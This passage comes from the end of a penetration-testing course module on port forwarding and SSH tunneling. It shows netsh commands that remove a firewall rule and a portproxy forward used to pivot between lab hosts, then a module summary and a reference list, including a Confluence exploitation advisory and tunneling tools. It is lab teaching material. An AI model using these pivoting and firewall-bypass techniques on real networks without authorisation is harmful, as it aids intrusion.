Once we're done with the connection, we need to remember to delete the firewall rule we just created.

Using netsh advfirewall firewall, we can delete the rule, referencing it by its catchy name: "port_forward_ssh_2222".

Bash
C:\Users\Administrator>netsh advfirewall firewall delete rule name="port_forward_ssh_2222"

Deleted 1 rule(s).
Ok.
Listing 67 - Deleting the firewall rule with Netsh.

The command completes successfully, and we receive confirmation that the firewall rule was deleted.

We can also delete the port forward we created. This time we'll use the netsh interface subcontext to del the portproxy we created. We will reference the forwarding type (v4tov4) and the listenaddress and listenport we used when creating the rule, so Netsh can determine which rule to delete.

Bash
C:\Windows\Administrator> netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64

C:\Windows\Administrator>
Listing 68 - Deleting the port forwarding rule with Netsh.

When we delete the rule, we don't get any response for a success. Nevertheless, the command completed successfully, and the rule is deleted.

Warning

Most Windows Firewall commands have PowerShell equivalents with commandlets like New-NetFirewallRule and Disable-NetFirewallRule. However, the netsh interface portproxy command doesn't. For simplicity, we've stuck with pure Netsh commands in this section. However, for a lot of Windows Firewall enumeration and configuration, PowerShell is extremely useful. You may wish to experiment with it while completing the exercises for this section.

In this section, we created a port forward on Windows using the Netsh command. We also created a firewall rule to allow inbound traffic on our listening port. We used these in conjunction to create a working port forward from the WAN interface of MULTISERVER03 to the SSH server of PGDATABASE01.

18.5. Wrapping Up

In this Module, we covered the concepts of port forwarding and SSH tunneling. This Module contains tools to apply these techniques on both Windows and *NIX operating systems, which allow us to traverse network boundaries and bypass some common network restrictions.


  1. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Flat_network 

  2. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Network_segmentation 

  3. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Subnetwork 

  4. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Firewall_(computing) 

  5. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Iptables 

  6. (Microsoft, 2022), https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/windows-firewall-with-advanced-security 

  7. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Deep_packet_inspection 

  8. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Port_forwarding 

  9. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Tunneling_protocol 

  10. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Encapsulation_(networking) 

  11. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Network_topology 

  12. (Atlassian, 2022). https://www.atlassian.com/software/confluence 

  13. (Atlassian, 2022), https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html 

  14. (PostgreSQL, 2022), https://www.postgresql.org/ 

  15. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Wide_area_network 

  16. (Wikipedia, 2022), https://en.wikipedia.org/wiki/DMZ_(computing) 

  17. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Demilitarized_zone 

  18. (Rapid7, 2022), https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ 

  19. (cURL, 2022), https://curl.se/ 

  20. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Proof_of_concept 

  21. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Uniform_Resource_Identifier#Syntax 

  22. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Percent-encoding 

  23. (PortSwigger, 2022), https://portswigger.net/burp 

  24. (GCHQ, 2022), https://gchq.github.io/CyberChef/ 

  25. (Wikipedia, 2022), https://en.wikipedia.org/wiki/OGNL 

  26. (Oracle, 2022), https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html 

  27. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Netcat 

  28. (dest-unreach, 2022), http://www.dest-unreach.org/socat/doc/socat.html 

  29. (Hashcat, 2022), https://hashcat.net/hashcat/ 

  30. (Hashcat, 2022), https://hashcat.net/wiki/doku.php?id=example_hashes 

  31. (Thomas Boutell and Sam Hocevar, 2022), https://github.com/samhocevar/rinetd 

  32. (Linux manual page, 2022), https://man7.org/linux/man-pages/man7/fifo.7.html 

  33. (holly, 2015), https://gist.github.com/holly/6d52dd9addd3e58b2fd5 

  34. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Tunneling_protocol 

  35. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Secure_Shell 

  36. (SSH, 2018), https://www.ssh.com/ssh/protocol/ 

  37. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Berkeley_r-commands 

  38. (Wikipedia, 2022), https://en.wikipedia.org/wiki/Telnet 

  39. (OpenSSH, 2022), https://www.openssh.com/ 

  40. (SSH, 2022), https://www.ssh.com/academy/ssh/tunneling-example#what-is-ssh-port-forwarding,-aka-ssh-tunneling? 

  41. (OpenBSD manual, 2022), https://man.openbsd.org/ssh#L 

  42. (Wikipedia, 2022), https://en.wikipedia.org/wiki/TTY 

  43. (OpenBSD manual, 2022), https://man.openbsd.org/ssh#D 

  44. (Wikipedia, 2022), https://en.wikipedia.org/wiki/SOCKS 

  45. (Samba, 2022), https://www.samba.org/samba/docs/current/man-html/smbclient.1.html 

  46. (rofl0r, 2022), https://github.com/rofl0r/proxychains-ng 

  47. (Gordon "Fyodor" Lyon, 2022), https://nmap.org/book/man-bypass-firewalls-ids.html 

  48. (OpenBSD manual, 2022), https://man.openbsd.org/ssh#R 

  49. (OpenBSD manual, 2022), https://man.openbsd.org/ssh#R~5 

  50. (OpenSSH, 2017), https://www.openssh.com/txt/release-7.6 

  51. (sshuttle, 2022), https://github.com/sshuttle/sshuttle 

  52. (Yosef Durr, 2018), https://devblogs.microsoft.com/commandline/windows10v1803/#openssh-based-client-and-server 

  53. (Joey Aiello, 2017), https://devblogs.microsoft.com/powershell/using-the-openssh-beta-in-windows-10-fall-creators-update-and-windows-server-1709/ 

  54. (FreeRDP, 2022), https://www.freerdp.com/ 

  55. (PuTTY, 2022), https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html 

  56. (Simon Tatham, 2002), https://tartarus.org/~simon/putty-snapshots/htmldoc/Chapter7.html 

  57. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh 

  58. (Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy 

  59. (Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts#subcontexts 

  60. (Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts